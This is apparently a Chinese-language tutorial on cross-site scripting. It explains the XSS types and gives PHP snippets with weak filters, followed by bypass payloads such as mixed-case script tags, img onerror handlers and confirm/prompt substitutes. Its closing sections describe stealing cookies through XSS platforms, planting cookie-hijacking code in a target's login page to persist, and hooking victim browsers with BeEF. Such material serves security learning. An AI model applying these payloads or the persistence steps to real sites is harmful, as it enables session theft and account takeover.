目录
一、原理解释
1.1 什么是xss
恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
1.2 xss类型
存储型:恶意脚本会存储至数据库,例如:留言板
反射性:恶意脚本只会出现在游览器,一次性,例如:攻击者提前构造一个恶意链接,来诱使客户点击
DOM型:也是反射性的一种,利用非法输入来闭合对应的html标签
1.3 xss危害
窃取Cookies、蠕虫、钓鱼
二、xss实战
2.1 基础入门
没有任何过滤措施的用户输入
<?php
$a = $_GET[“name”];
echo $a;
?>
访问这个url:url?name=<script>alert(" xss")</script>
2.2 中级难度
有基础的过滤措施
(1)preg_replace ($a , $b , $c):将c中符合a的字符串替换成b
<?php
$name = $_GET["name"];
$name = preg_replace(“/<script>/”,””,$name);
echo $name;
?>
通过改变大小写绕过:url?name=<ScriPt>alert(" xss")</sCripT>
(2)匹配中加入了个“/i”,大小写都替换,
<?php
$name = $_GET["name"];
$name = preg_replace(“/<script>/i”,””,$name);
echo $name;
?>
换语句绕过:<img src=1 onerror=alert(1)>
(3)preg_match — 执行匹配正则表达式,直接将alert过滤掉了,
<?php
preg_match(‘/alert/i’,$_GET[“name”])
?>
用confirm(),prompt()替换alert () :<script>confirm("xss")</script>
js中三种弹窗写在<script>中:confirm(),prompt(),alert()
(4)闭合绕过型
var $a=”<?php echo $_GET[“name”];?>”
”;alert(1);”
2.3 综合过滤
介绍个网址:https://www.freebuf.com/articles/web/153055.html
三、高级利用
3.1 xss平台
获取cookie的工具,这种平台有很多,可以找一个免费的
(1)新建项目
(2)填写基本信息
(3)很多xss利用代码,选择一个测试
(4)当有人访问了含有你的XSS代码的页面时,你的项目就会收到它的具体信息,包括cookie信息
3.2 cookie权限维持
在目标登陆文件中写入劫持cookie的xss语句
可以随时获取成功的登入的管理员账号的动态变化信息
3.3 beef
(1)一个xss利用神器,在kali中已经集成
(2)直接打开,出现两个网址:
第一个Web UI : 是beef在网页中打开的网址,访问它,用户名,密码都是beef。
(注意,你把网址中的127.0.0.1改成你机器真正的IP也可以登陆成功,kali中,ifconfig命令可以查看你的IP)
第二个Hook:使用来钓鱼的语句,把IP改成你真实的IP,如下图:
(3)把钩子语句放到目标游览器的一个html页面里,等待受害者游览这个页面
发现上勾着(我的另一台虚拟机,别让游览器把JS语句禁止了)
工具的其它功能很多,不一一介绍,命令模块下可以执行很多shell命令